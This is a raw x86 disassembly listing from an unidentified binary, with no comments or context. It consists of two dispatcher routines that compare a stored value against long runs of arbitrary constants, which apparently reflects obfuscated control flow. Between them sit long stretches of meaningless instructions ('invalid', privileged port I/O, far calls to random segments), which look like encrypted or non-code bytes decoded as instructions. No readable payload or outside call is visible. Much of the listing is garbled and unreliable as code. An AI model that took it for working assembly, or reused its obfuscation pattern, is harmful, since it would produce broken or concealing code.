sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0xe3f6e
or eax, dword [ebp - 0xd4]
je 0x70b68438
mov edx, 0xe3f6e
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0xc8155
or eax, dword [ebp - 0xd4]
je 0x70b6e455
mov edx, 0xc8155
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0xc7cbb
or eax, dword [ebp - 0xd4]
je 0x70b68e56
mov edx, 0xc7cbb
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0xc0f89
or eax, dword [ebp - 0xd4]
je 0x70b6d019
mov edx, 0xc0f89
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x9ef68
or eax, dword [ebp - 0xd4]
je 0x70b6da37
mov edx, 0x9ef68
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x9c651
or eax, dword [ebp - 0xd4]
je 0x70b69d83
mov edx, 0x9c651
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x968c6
or eax, dword [ebp - 0xd4]
je 0x70b6a7a1
mov edx, 0x968c6
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x89924
or eax, dword [ebp - 0xd4]
je 0x70b6df46
mov edx, 0x89924
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x6f5d1
or eax, dword [ebp - 0xd4]
je 0x70b69874
mov edx, 0x6f5d1
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x6f11b
or eax, dword [ebp - 0xd4]
je 0x70b6acb0
mov edx, 0x6f11b
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x61ef9
or eax, dword [ebp - 0xd4]
je 0x70b6cb0a
mov edx, 0x61ef9
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x5ba30
or eax, dword [ebp - 0xd4]
je 0x70b6a292
mov edx, 0x5ba30
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x4f1f1
or eax, dword [ebp - 0xd4]
je 0x70b6e964
mov edx, 0x4f1f1
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x3f088
or eax, dword [ebp - 0xd4]
je 0x70b69365
mov edx, 0x3f088
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x3ca23
or eax, dword [ebp - 0xd4]
je 0x70b6c5fb
mov edx, 0x3ca23
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x386ed
or eax, dword [ebp - 0xd4]
je 0x70b6bbdd
mov edx, 0x386ed
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x2d62f
or eax, dword [ebp - 0xd4]
je 0x70b68947
mov edx, 0x2d62f
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x25da1
or eax, dword [ebp - 0xd4]
je 0x70b6d528
mov edx, 0x25da1
mov eax, 0
cmp edx, dword [ebp - 0xd8]
sbb eax, dword [ebp - 0xd4]
jl 0x70b6e961
mov eax, dword [ebp - 0xd8]
xor eax, 0x7d43
or eax, dword [ebp - 0xd4]
je 0x70b6b6ce
mov eax, dword [ebp - 0xd8]
xor eax, 0x80b9
or eax, dword [ebp - 0xd4]
je 0x70b6c0ec
jmp 0x70b6e961
aaa
xor dword [ecx + 0xd809482], ebx
je 0x70b6845c
mov bh, 0xc3
fsubr st(6), st(0)
jmp 0x70b684ac
in al, dx
sbb al, 0xc6
cmp ecx, dword [ecx - 0x6e912d19]
invalid
pop esi
pop ds
invalid
cmp al, 0x7c
ror dword [eax + 0x16261c5d], 1
test dword [edx + ebp*4 + 0x4a066e], ebp
push cs
push es
jmp 0x4a958247
lcall 0x4bf0, 0xab572c80
or esp, dword [esi + 0x32]
movsb byte es:[edi], byte [esi]
loop 0x70b68e35
jb 0x70b68e61
sar dword [ebx], 1
movsb byte es:[edi], byte [esi]
inc ebp
push eax
loopne 0x70b68e66
xchg byte [ebp + 0xef8fdf1], dl
sub dword [ebp - 5], ecx
stosd dword es:[edi], eax
fsubr st(4), st(0)
imul eax, dword [eax + 0x63124ea6], 0xd76af6e9
mov ecx, 0xa53d466e
mov bh, 0x25
or ah, byte [esi - 0x70]
int3
push eax
stc
jnp 0x70b68ec9
daa
inc ebx
mov al, byte [0x99318a25]
cdq
jno 0x70b68e19
arpl word [edx - 0x46843095], si
add eax, 0x5af4edbf
imul ecx, edi, 0x7b
mov ecx, 0xf4edbf05
pop edx
outsd dx, dword [esi]
pushfd
pop ecx
fidiv dword [eax - 0x11f30e5b]
ret 0x4e91
sub al, 4
out 0xb3, eax
xor byte [esi + 3], ch
js 0x70b68f50
push ebp
invd
cmp eax, 0xfd2c482d
int1
sub eax, 0xf10e4af9
movsb byte es:[edi], byte [esi]
inc edi
jb 0x70b68f07
push edi
insd dword es:[edi], dx
mov dword [0xd5c9c411], eax
dec esp
out 0x9e, al
sbb esp, edi
mov edx, 0x95adbb2
enter 0x7788, 0xffffffffffffffca
dec ebp
fsubr qword [esi - 0x7d]
adc al, 0x86
ficom word [eax + 0x7c76bbcc]
lahf
cmpsd dword [esi], dword es:[edi]
add byte [esi + 0x20], cl
in eax, dx
push ecx
invalid
jmp 0x70b68ed2
or eax, 0xe9cc9054
add byte [esi], dl
add byte [eax - 0x6c], al
inc eax
xchg esp, eax
scasd eax, dword es:[edi]
mov ebp, 0xe063b941
and byte [ebp + 0x5b], bh
xchg ebx, eax
jae 0x70b6935c
push ebp
xchg ecx, eax
push 0xc9c72ef6
xchg edi, eax
enter 0x4c24, 0xffffffffffffffd3
retf 0xbd26
pause
inc esp
imul edx, dword [eax + 0x50f1e9cc], 0
add byte [edi], bh
aas
sbb ah, byte [ebp - 0x11]
wait
jp 0x70b69869
mov ch, 0x78
mov bl, byte [ebp - 0x2ee2bf75]
jns 0x70b698ca
ljmp 0x969d:0x2bd1e140
je 0x70b698d7
invalid
xlatb
leave
invalid
and dl, byte [eax + 0x716b633a]
adc al, 0x2e
std
jmp 0xcc7f2a13
retf 0x6704
cmp eax, 0x9495636a
aam 0x45
leave
test ebp, esi
add eax, 0xd3929b6d
inc esp
jl 0x70b6a1ed
sub eax, 0x3aca6b1d
push edx
fisub dword [esi + 0x56e6b3f]
in eax, 0x68
lea ecx, [ebx]
mov dh, 0x86
cmp dl, byte [edx - 0x26]
cmpsb byte [esi], byte es:[edi]
aas
imul ebp, dword [esi + 5], 0xffffffe5
push 0x86b60b8d
inc edi
cmp byte [edx + 0x71db1683], bl
bnd call 0xbb23366e
jle 0x70b6a246
or byte [esi + 0x4c], dh
cwde
popfd
stosb byte es:[edi], al
mov bh, 0x91
ljmp 0xd324
fisub dword [ebx + 0x31a7cdaf]
jbe 0x70b6a25c
leave
xchg esi, eax
push 0x10
jmp 0xa539fea
pop edi
inc edi
xor al, 0x4f
int3
pushaw
lodsb al, byte [esi]
sub ebx, dword [edi - 0xdd634f0]
mov ebx, 0xdde00360
cwd
neg byte [esp + esi*4 - 0x1b]
pop ebx
add esi, dword [edi]
mov dh, 0x13
adc dword [ebx + 0x68d141e0], esi
xlatb
nop
int3
jl 0x70b6ac33
dec ebx
sub ebx, dword [ecx + 0x51]
in ax, dx
invalid
pop ebp
call 0x36b9667a
xor eax, dword [ecx + ebx*2 - 0x33644f97]
loopne 0x70b6acb0
or al, 0x47
xor bl, ch
fldcw word [eax]
outsd dx, dword [esi]
jo 0x70b6ad45
sahf
cmp dword [esi], esi
pop edx
rcl dword [ebx + 0x38]
mov al, byte [0xc877bd4a]
xor dl, al
and al, 0x98
aaa
dec ebx
les ecx, [ebx]
invalid
xchg byte [ebx], cl
inc ebp
jmp 0x70b6ac84
mov dword [ebx + edi*4], edi
xchg esp, eax
js 0x70b6ad9c
wait
mov cs, edx
jnp 0x70b6acfe
xor eax, 0x7d5adfe9
sub al, 0xe3
xchg ebx, eax
fst qword [eax + 0x20651ccc]
dec ebp
bound esp, qword [eax]
retf
mov byte [0x4109c9b3], al
sub dl, ah
in eax, 0xa2
aad 0x22
int3
cmp eax, 0xb869612b
sub cl, bh
sti
int3
or dword [eax + ebx*2 + 0x1b], esp
std
out 0xf3, eax
mov ch, ah
pop es
retf 0x1467
mov ebp, 0x2820918c
ret
jae 0x70b6bbb4
dec si
in al, 0xdb
rcl dword [0x87db6c1], 0x73
dec edx
movsd dword es:[edi], dword [esi]
ljmp 0x9d39
add edx, dword [edi + edi*2 + 0x32e1f515]
int 0x49
dec ecx
rcl dh, 1
xchg dword [edx - 0x71], edi
insd dword es:[edi], dx
pop edi
sbb dword [0x541b9536], esp
xor byte [ecx], 0xd3
cli
inc eax
xor byte [ebp + 0x50], bl
lds edx, [0x2cd71d57]
stosd dword es:[edi], eax
mov ch, cl
jnp 0x70b6c0f5
dec edi
jo 0x70b6c0da
aaa
lahf
invalid
pop edi
sbb bl, byte [edx]
mov gs, word [esi]
dec edi
stc
not dword ds:[ebx - 0x16336f82]
jns 0x70b6c112
add byte [eax], al
mov eax, 0xa78248e
dec ebp
adc al, 0x4b
outsd dx, dword [esi]
pop esi
jg 0x70b6c09f
out dx, eax
jle 0x70b6c0a7
arpl word [esi - 0x2c], dx
rol byte [ebp + 0x77], 0xa0
aad 0x99
sbb edi, dword [ebp + 0x20]
mov ebp, 0xc37fc781
adc eax, 0xd3353ec1
popfd
cmp eax, 0x656abead
cmp esp, dword [ecx + 4]
cmp byte [esp + edi*4 + 0x12], bl
inc ebx
salc
std
or dword [edx - 0x780e0454], ebp
sar byte [edx], 1
jmp 0xd76ea4ef
outsd dx, dword [esi]
invalid
ror dword [ecx], 1
push ds
pushfd
hlt
add cl, bl
mov esi, 0xf56fcc90
lcall 0x28d3, 0x1c566b8e
mov fs, word [ebp + 2]
xor ah, bl
mov byte [0xe1a12051], al
pushfd
dec ebp
xor eax, dword [ebx + 0x79]
inc ebx
mov ah, byte [edi]
cmpsb byte [esi], byte es:[edi]
das
sbb dword [edi - 0x76], edi
jmp 0x14044adf
pop ecx
xor al, 0x5d
popfd
int3
movsb byte es:[edi], byte [esi]
inc ebp
out 0xc6, al
mov al, byte [0x92f1cb91]
test byte [ecx], cl
nop
int3
jge 0x70b6d01e
mov esp, 0xe7e2e878
loop 0x70b6d007
pop edx
pop ss
and al, 0x57
insb byte es:[edi], dx
js 0x70b6cfb9
xchg ebx, eax
lcall 0xcf8e, 0xd55cbe7a
inc edx
js 0x70b6d07e
pop ds
fisttp qword [edx + 4]
jbe 0x70b6d064
inc esi
pop esi
mov cl, 0x4b
adc al, 0x32
leave
jmp 0x70b6d081
add ebp, 0xbef720c0
loopne 0x70b6d09a
jg 0x70b6cffe
int3
test dword gs:[edi], esp
cli
dec edx
retf
mov ch, 0x55
mov eax, dword [0x15bd5b44]
pop edi
jecxz 0x70b6d0ba
pop edx
push 0xffffffffffffffbd
shr byte [esi + edx*4], cl
xchg dword [edi + 0x1f1c00ba], ebx
fdivr qword [eax]
invalid
push edi
cmp dword [ebx + 0x4989cd47], 0xcc906bca
push es
adc dword [ebp - 0x1e], edi
pushal
dec edi
xchg edi, eax
mov word [ecx*2 + 0x62621fee], gs
invalid
adc al, 0x6b
add cl, bl
xchg edi, eax
out dx, eax
push esi
and eax, 0x488d6be0
sbb byte [edi + 0x83ce342], bl
nop
int3
xor eax, 0x36e33b25
xlatb
and eax, edx
add al, 0xe5
fstp xword [edi]
dec ebx
test byte [ecx - 0x13], ah
push es
xor al, 0x1d
out 0xbc, eax
pop edi
lcall 0x6655, 0xa31f1941
or byte [ecx + 0x4a], al
mov edi, 0x3dbf95e8
push edx
inc ecx
fistp dword [ebx]
sbb ah, byte [ecx]
pushfd
add dword [ebp - 0x5c], 0x60
jns 0x70b6d50f
sar dword [ebp - 0x50d7e4b0], cl
and al, 0x73
xor bh, al
xchg ebx, eax
sub ebx, edx
retf 0xe0ea
retf
mov edi, 0xf4e7a35
pop es
wait
dec ebx
xor byte [edi - 0x193d5778], cl
js 0x70b6df60
or eax, 0x5891309d
mov dh, 0xa8
jl 0x70b6df61
out dx, eax
mov bl, 0x68
push esi
test dl, ch
clc
push 0xf8ea8456
cmc
iretd
wait
lcall 0x9523, 0x1585573f
cmp dword [esi + ebx + 0x1f], edi
mov esp, dword [eax - 0x4b]
mov esi, 0x4f270720
mov ds, edx
int 0x83
push ebx
xor eax, 0x31689167
mov dword [0x7d4e028b], eax
lodsb al, byte [esi]
and eax, 0x8fb7dea9
mov al, byte [0x7fce9cf5]
wait
pop esi
mov dword [edi], esp
nop
pop ecx
scasd eax, dword es:[edi]
or eax, 0x9a51cec1
sar dword [ebx + 0x3736fec5], cl
ret
nop
jmp 0x70b6e965
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x70b54d17
mov dword [ebp - 0x110], 0xdf599
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x118], 0xbbf35
mov dword [ebp - 0x114], 0
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x118]
mov edx, eax
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0x110]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x110]
mul dword [ebp - 0x118]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x120]
xor eax, 0xfab3ffad
mov edx, dword [ebp - 0x11c]
xor dl, 0xa3
or eax, edx
je 0x70b73e08
mov edx, 0xfab3ffad
mov eax, 0xa3
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xee3fc
or eax, dword [ebp - 0x11c]
je 0x70b6ed1b
mov edx, 0xee3fc
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xee147
or eax, dword [ebp - 0x11c]
je 0x70b6fc48
mov edx, 0xee147
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xd9315
or eax, dword [ebp - 0x11c]
je 0x70b724c0
mov edx, 0xd9315
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xd6b28
or eax, dword [ebp - 0x11c]
je 0x70b733ed
mov edx, 0xd6b28
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xaf15c
or eax, dword [ebp - 0x11c]
je 0x70b6f739
mov edx, 0xaf15c
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xa807a
or eax, dword [ebp - 0x11c]
je 0x70b71593
mov edx, 0xa807a
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x8e8df
or eax, dword [ebp - 0x11c]
je 0x70b70b75
mov edx, 0x8e8df
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x5e441
or eax, dword [ebp - 0x11c]
je 0x70b70666
mov edx, 0x5e441
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x5532c
or eax, dword [ebp - 0x11c]
je 0x70b738fc
mov edx, 0x5532c
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x4348a
or eax, dword [ebp - 0x11c]
je 0x70b72ede
mov edx, 0x4348a
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x2f461
or eax, dword [ebp - 0x11c]
je 0x70b71fb1
mov edx, 0x2f461
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x27f13
or eax, dword [ebp - 0x11c]
je 0x70b6f22a
mov edx, 0x27f13
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0x17b77
or eax, dword [ebp - 0x11c]
je 0x70b70157
mov edx, 0x17b77
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xf209
or eax, dword [ebp - 0x11c]
je 0x70b729cf
mov edx, 0xf209
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x70b73e0b
mov eax, dword [ebp - 0x120]
xor eax, 0xe29
or eax, dword [ebp - 0x11c]
je 0x70b71084
mov eax, dword [ebp - 0x120]
xor eax, 0xc244
or eax, dword [ebp - 0x11c]
je 0x70b71aa2
jmp 0x70b73e0b
push esi
add dword [ebx - 0x32a66919], eax
sub dword [ebx], ebx
ljmp 0xa010
and dword [ecx + 0x3c8a3551], esp
push 0x1edc61d2
cmp ebx, dword [esi + 0x5c]
xchg byte [eax - 0x60], dl
mov bl, 0x8b
mov ch, 0xfd
push ebx
fdiv qword [edx]
and eax, 0xf09cd78a
dec ebx
inc esp
xchg esp, eax
or eax, 0xdce91269
mov byte [0xeeb5ab29], al
into
adc bl, byte [esi + 0x36]
xchg esp, eax
or bh, byte [edi]
jecxz 0x70b6f28d
push es
in al, 0x72
clc
wait
cdq
test eax, ebx
dec edi
mov edx, 0xec57095a
imul esi, dword [ebx + 0x50ee965e], 0x9ef0f95f
xchg byte [esi - 0x42df2f6f], bl
fiadd word [ecx - 0x47ab3370]
fdivr st(1)
push ds
cmp dword [ecx], esp
insb byte es:[edi], dx
in eax, 0x5a
xor ecx, dword [bx + si]
invalid
adc byte [edx - 0x350ddbb3], dl
mov al, byte [0x72549b9c]
imul ax, word [edx + 0x39414de9], 0x6b62
sub bl, dl
sbb byte [ebp - 0x70], 0xcc
cmp cl, byte [edi + 0x3cf8e187]
mov eax, 0x2bbad84d
xchg ecx, eax
cmp ecx, dword [ecx - 0x6f2a27c4]
in eax, 0x7b
into
push ss
mov dh, 0x1a
jbe 0x70b6f756
stc
sbb eax, 0x59547064
outsb dx, byte [esi]
out dx, al
invalid
cdq
jns 0x70b6f6c3
int3
cld
push ecx
lea ebx, [esi + 0x7c5d1ca9]
daa
and esp, esp
loopne 0x70b6f730
add eax, 0x815ce366
adc bh, byte [edi + 0x66]
cmp eax, 0x5a9343d9
inc eax
test al, 0xbf
xor dword [esi], edx
xlatb
add eax, 0x22a01596
pop es
dec eax
xor edi, 0x5be0888d
xchg ebp, eax
jmp 0x70b6f764
lea ecx, [eax - 0x146aa420]
stc
mov ch, 0x5c
aad 0x82
sbb eax, 0xcfe27837
stc
fsubr qword [edi + ecx*2 - 0x59]
inc esp
xor ch, byte [ecx + 3]
movsb byte es:[edi], byte [esi]
add ecx, 0x7f6230d8
mov edx, 0x839a734e
movsb byte es:[edi], byte [esi]
inc ebx
sbb al, byte [edx]
nop
int3
in al, dx
xor byte [eax], dl
out dx, al
insd dword es:[edi], dx
hlt
mov ch, 0x3c
add byte [eax], al
jle 0x70b70153
fsubr qword [esi - 0x5e11baac]
hlt
pop esp
mov al, byte [0x4f7d8d38]
or eax, 0xb78771ca
ret 0xa16f
xchg ecx, eax
in al, 0x26
mov ebx, 0xbf01a271
cmc
aaa
pop ds
cmpsb byte [esi], byte es:[edi]
dec ecx
or byte [edi - 0x7ef4a7bf], ch
xchg ebx, eax
push 0x4c
or edx, dword [ebx]
or eax, 0x61c88477
imul ecx, dword [ebp - 0xf09d548], 0x22bda7f3
rcl byte [ebp - 7]
adc al, 0x3f
fsubr st(2)
xchg edi, eax
or al, 0xcc
mov edi, 0x7db0ed3b
push eax
jae 0x70b70bbc
int3
jno 0x70b70bd0
insb byte es:[edi], dx
lds esp, [edx]
daa
inc esi
pop esi
sbb dl, dl
clc
loopne 0x70b70c05
cmp eax, 0xe669b3fd
xor al, 0x40
ror byte [ebp - 0x336f023c], cl
cmp al, 0x51
pop es
aaa
invalid
ja 0x70b70ba7
mov dl, byte [ecx]
mov dl, 0xce
cmp al, 0xa5
sbb al, 0x23
fisttp dword [ebx]
xchg edx, eax
mov dl, byte [esi]
pop es
in eax, 0x19
sbb dl, byte [ebx + 0x53]
push 0x4c2ae398
mov dl, bh
inc ebx
daa
push 0x879c2f6d
retf 0x1404
invalid
aas
dec eax
jl 0x70b710bd
jb 0x70b710e4
out dx, al
jmp 0x2cc63727
inc esp
pop edi
pop eax
retf 0xcd9d
and eax, 0x5cc02bc0
rcl bh, 1
xchg dword [edx + 0x7f42136], ebx
mov dword [0xb2f52cce], eax
add byte [ebx - 0x50], ah
dec ebx
add dl, 0x54
pop edx
int1
movzx esp, byte [eax + 0x5fdc830e]
arpl word [edx + 0x744dbee1], cx
mov bh, 0xc1
stosb byte es:[edi], al
dec ebx
cld
inc esi
inc edi
scasd eax, dword es:[edi]
jns 0x70b71151
adc byte [0x288b8ef8], 0xf9
sar byte [ebx], cl
or byte [ebp - 0xc], bl
sub al, 0x25
cwde
or al, dl
sbb al, 0x1f
add edi, dword [0x90a4d88d]
int3
wait
dec ebp
aas
invalid
call 0x8e8d1987
aad 0xec
inc edi
sal dword [ecx - 0x5d41037f], cl
xchg esp, eax
cld
invalid
lodsb al, byte [esi]
or byte [0x93f2d12e], dh
inc ebx
mov ebp, 0xb144aaf3
push ebx
imul esp, ebx, 0xffffffb8
jg 0x70b7155f
jnp 0x70b715f7
mov ch, 0x8d
sbb byte [eax + 0x760d2a39], ah
cli
jo 0x70b7162b
pop edx
xor al, 0x92
add dword [eax - 0x18402dc7], eax
adc bh, byte [esi]
into
pushal
inc sp
test ecx, edx
stosb byte es:[edi], al
and ecx, dword [ebx + 0x72]
mov ebp, 0x20a9cc42
jg 0x70b71593
wait
into
sub byte [edx - 0x29bd6614], dl
dec esp
sbb dword [ebx - 0x7b2c8762], ebp
mov byte [ecx], cl
insd dword es:[edi], dx
mov byte [0x6a924804], al
pop esp
nop
int3
lodsd eax, dword [esi]
aad 0x9e
cmp al, 0xe0
adc eax, 0xdea037a1
dec edx
add dword [ebx - 0x7e3657b2], ecx
out dx, al
xor byte [edi], ah
ja 0x70b7167e
dec edi
scasb al, byte es:[edi]
dec ebp
outsb dx, byte [esi]
xor al, 0x40
xchg ebx, eax
scasb al, byte es:[edi]
inc ecx
cmp byte [ecx], bh
xchg edi, eax
arpl word [esp + esi*8], dx
leave
sub edx, dword [edx]
lcall 0x8583, 0x23bceadd
cdq
inc esp
stosd dword es:[edi], eax
mov bh, 0x25
mov edx, 0xbbc34e84
push edx
fcmovnbe st(0), st(1)
jmp 0x458b7c8a
in al, 0x27
ret
xchg edx, eax
push ds
add ebp, esi
mov bh, 0x50
xchg esi, eax
pop edi
lcall 0x9a9d, 0x30a6
lodsb al, byte [esi]
pop ss
fdivr dword [eax + 0x3a]
fstp xword [esi - 0x5a01522a]
scasd eax, dword es:[edi]
xchg edx, eax
imul ebx
ljmp 0x2583
cli
sub eax, 0xcc903205
jmp fcn.70b73e0c
sub edx, ebp
mov ecx, 0x21c61ad0
add cl, byte [ebx + edx]
test al, 0xd9
mov bl, 0xed
mov eax, dword [0xcde9455a]
xor ebx, esp
jno 0x70b72029
enter 0xffffffffffff93f8, 0xffffffffffffffd6
pop ecx
xor dword [eax - 0x3f], edi
clc
out dx, eax
xchg esp, eax
daa
mov ah, 0x99
jnp 0x70b71fa6
and byte [edi + ecx*4 + 0x28], 0x78
sbb byte [edi - 0x2fc711d1], bl
cmp ebx, dword [edx]
dec esp
xor eax, 0x3e45b364
movsb byte es:[edi], byte [esi]
pop eax
lodsd eax, dword [esi]
insd dword es:[edi], dx
pop ebp
and ah, ch
xor esp, esi
test eax, 0xc97e1a86
push ss
clc
shr dword [esp + edi*2], cl
rcr dword [esp + eax*4 - 0x13], 0x90
int3
sub eax, 0xd5e29ab9
aam 0xd3
mov bh, 0x2e
insd dword es:[edi], dx
pop edi
int 0xdb
inc esp
fld xword [esi]
inc esp
mov edx, 0xa1fce22b
stosd dword es:[edi], eax
jg 0x70b7201d
lea ebp, [ebx + ebx*8 + 0x50]
adc al, byte [ebp + 0x4425e893]
or edx, esp
scasb al, byte es:[edi]
int3
call 0x8dee3483
mov eax, dword [0x368988de]
sbb al, 0x99
mov edi, 0x8957cc23
psrlq mm5, qword [edx + 0x13]
and byte [esi - 0x62339279], 0x60
popfd
and edx, edx
xor eax, 0x972c3149
loop 0x70b7254c
xchg byte [0xa9908498], al
mov al, 0x9b
div byte [ebp + 0x22]
int 0x83
lodsb al, byte [esi]
lds eax, [edx + 0x54a998a0]
push ebp
and dword [edx - 0x17782ebe], esi
xor byte [esi - 0x6a], ch
adc eax, 0xb875b23f
pop ecx
imul ecx, dword [ebp - 0x765b7ede], 0x86e062cb
nop
int3
cmp eax, 0xcc829d5d
out dx, eax
call 0x8efa50ac
lds esp, [esi - 0x36bad9ce]
adc dword [esi], esi
scasd eax, dword es:[edi]
adc eax, 0x4824d780
cmpsd dword [esi], dword es:[edi]
sal dword [eax - 0x336ff0c0], cl
pop ecx
mov edi, 0xeade9767
cli
add ah, byte [ecx - 0x51]
xor dh, dl
and ch, byte [edx + 9]
in eax, dx
sub al, 0x3c
mov dh, 0x49
das
mov cl, 0xf8
cmpsb byte [esi], byte es:[edi]
invalid
ror byte [esi + 0x51167b7a], 1
lodsb al, byte [esi]
clc
inc esp
and al, byte fs:[ecx + 0x23]
jp 0x70b72a4a
mov byte [0x60bc5e76], al
iretd
sbb dword [ebx + 0x582818b7], esp
pop ecx
push edx
lds edx, [ebp + 0x43]
and byte [ebx - 0x3b], bh
insd dword es:[edi], dx
sti
hlt
push edx
mov dl, 0x68
and eax, dword [ecx + edx*4 - 0x1732c460]
salc
call 0xe967e40f
cmpsb byte [esi], byte es:[edi]
emms
daa
pop ebp
aas
sbb byte [esi], dh
jp 0x70b72a5a
jne 0x70b72a0e
add dword [eax], eax
movsd dword es:[edi], dword [esi]
jnp 0x70b72a73
out dx, al
mov edx, 0x3a96234d
sar dl, 0x96
xchg esi, eax
shl dword [esi - 0x6ff0f915], 0xcc
pop ds
push ss
add byte [ebx*8 - 0x7ee6e65c], bl
outsb dx, byte [esi]
test byte [esi - 0xc], al
cmp ah, byte [ecx - 0x39e7b8a0]
xor dword [edi - 0x4aeeb672], esp
or byte [eax - 0x29], ah
lcall 0xbd68, 0x736e3725
jmp 0x70b72aef
hlt
mov byte [0xbfdcfa76], al
aaa
dec esi
daa
cdq
push ecx
jnp 0x70b72a87
adc ah, byte [esp + eax*2]
and al, 0x54
cmp al, 0x44
cmp byte [ecx + ebp*8], dh
jmp 0xa06c418e
sub ebp, dword [edi + 0x1a1fd0b7]
hlt
xchg ebx, eax
int3
pop edi
xchg si, ax
lcall 0xadb4, 0x2c02b98b
ljmp 0x9f70
nop
nop